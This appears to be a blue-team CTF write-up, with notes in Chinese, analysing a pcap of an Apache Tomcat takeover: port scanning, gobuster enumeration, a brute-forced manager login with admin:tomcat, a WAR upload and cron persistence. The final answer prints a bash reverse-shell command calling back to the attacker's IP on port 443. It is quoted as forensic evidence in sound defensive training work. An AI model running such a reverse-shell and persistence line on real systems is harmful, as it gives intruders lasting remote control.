---
# System prepended metadata

title: Tomcat Takeover Blue Team Challenge

---

# Tomcat Takeover Blue Team Challenge

:::success
https://cyberdefenders.org/blueteam-ctf-challenges/135#nav-questions
:::

:::info
Scenario:

Our SOC team has detected suspicious activity on one of the web servers within the company's intranet. In order to gain a deeper understanding of the situation, the team has captured network traffic for analysis. This pcap file potentially contains a series of malicious activities that have resulted in the compromise of the Apache Tomcat web server. We need to investigate this incident further.

Tools:

Wireshark
NetworkMiner
:::


#### 1. Given the suspicious activity detected on the web server, the pcap analysis shows a series of requests across various ports, suggesting a potential scanning behavior. Can you identify the source IP address responsible for initiating these requests on our server?

```
14.0.0.120
```

檢視Conversation，發顯有一個外網IP 14.0.0.120
![截圖 2023-11-17 上午11.19.27](https://hackmd.io/_uploads/Bka6sIN4p.jpg)

檢視I/O Graphs 發現20:17 - 20:20間有短時間大量封包的跡象
![截圖 2023-11-17 上午11.22.04](https://hackmd.io/_uploads/SJqvh8NET.jpg)


針對外網IP 14.0.0.120 進行查詢，發現他有port scan的行為。
![截圖 2023-11-17 上午11.32.14](https://hackmd.io/_uploads/BksaAUEVa.jpg)



#### 2. Based on the identified IP address associated with the attacker, can you ascertain the city from which the attacker's activities originated?

```
GUANGZHOU
```


WHOIS查詢14.0.0.120

![截圖 2023-11-17 上午11.44.03](https://hackmd.io/_uploads/ByZc-PV4T.jpg)



#### 3. From the pcap analysis, multiple open ports were detected as a result of the attacker's activitie scan. Which of these ports provides access to the web server admin panel?

```
8080
```

將14.0.0.120對10.0.0.112 port scan 的封包過濾掉之後進行檢視，會發現14.0.0.120對10.0.0.112主要都是透過8080port溝通，其中也可以找到有一筆是走8080port POST /manager/html/upload 上傳了一個JXQOZY.war的檔案。

![截圖 2023-11-17 下午12.01.39](https://hackmd.io/_uploads/r1enrP4NT.jpg)




#### 4. Following the discovery of open ports on our server, it appears that the attacker attempted to enumerate and uncover directories and files on our web server. Which tools can you identify from the analysis that assisted the attacker in this enumeration process?
```
gobuster
```

發現14.0.0.120的user agent 有兩個，一個是firefox瀏覽器，另一個是gobuster
![截圖 2023-11-17 下午12.13.53](https://hackmd.io/_uploads/HJf5_DENa.jpg)


![截圖 2023-11-17 下午12.21.18](https://hackmd.io/_uploads/H1nB9DNEa.jpg)

gobuster是web暴力破解工具
![截圖 2023-11-17 下午12.22.37](https://hackmd.io/_uploads/Bkq9cwVNT.jpg)


#### 5. Subsequent to their efforts to enumerate directories on our web server, the attacker made numerous requests trying to identify administrative interfaces. Which specific directory associated with the admin panel was the attacker able to uncover?

```
/manager
```

攻擊者掃描過程中發現/manager目錄下有大量指令可利用
![截圖 2023-11-17 下午12.26.14](https://hackmd.io/_uploads/HkfOjPNE6.jpg)


#### 6. Upon accessing the admin panel, the attacker made attempts to brute-force the login credentials. From the data, can you identify the correct username and password combination that the attacker successfully used for authorization?

```
admin:tomcat
```


觀察封包可以發現有存在連續的Unauthorized

![截圖 2023-11-17 下午1.57.34](https://hackmd.io/_uploads/S12AgY44T.jpg)


Follow tcp，確認驗證參數為YWRtaW46dG9tY2F0時，server端回覆200
![截圖 2023-11-17 下午1.50.38](https://hackmd.io/_uploads/HypVytV46.jpg)

用base64解開
![截圖 2023-11-17 下午1.51.01](https://hackmd.io/_uploads/SJzLJtEEa.jpg)

從封包中的credentials欄位也可以看到
![截圖 2023-11-17 下午1.52.23](https://hackmd.io/_uploads/SJEsJFVNT.jpg)




#### 7. Once inside the admin panel, the attacker attempted to upload a file with the intent of establishing a reverse shell. Can you identify the name of this malicious file from the captured data?

```
JXQOZY.war
```


依前面搜尋的結果，可以發現攻擊者利用/manager/html/upload 上傳了一個JXQOZY.war的檔案。

![截圖 2023-11-17 下午12.01.39](https://hackmd.io/_uploads/r1enrP4NT.jpg)



#### 8. Upon successfully establishing a reverse shell on our server, the attacker aimed to ensure persistence on the compromised machine. From the analysis, can you determine the specific command they are scheduled to run to maintain their presence?



```
/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'
```

觀察reverse shell建立之後的封包，follow tcp封包可以看到攻擊者先是進行whoami、pwd的基本指令後，將建立reverse shell的bash指令寫道排成裡面，來確保reverse shell會一直執行。

![截圖 2023-11-17 下午2.14.40](https://hackmd.io/_uploads/r10C4tNV6.jpg)


echo "* * * * * /bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'" > cron


參考資料：
https://ithelp.ithome.com.tw/m/articles/10323534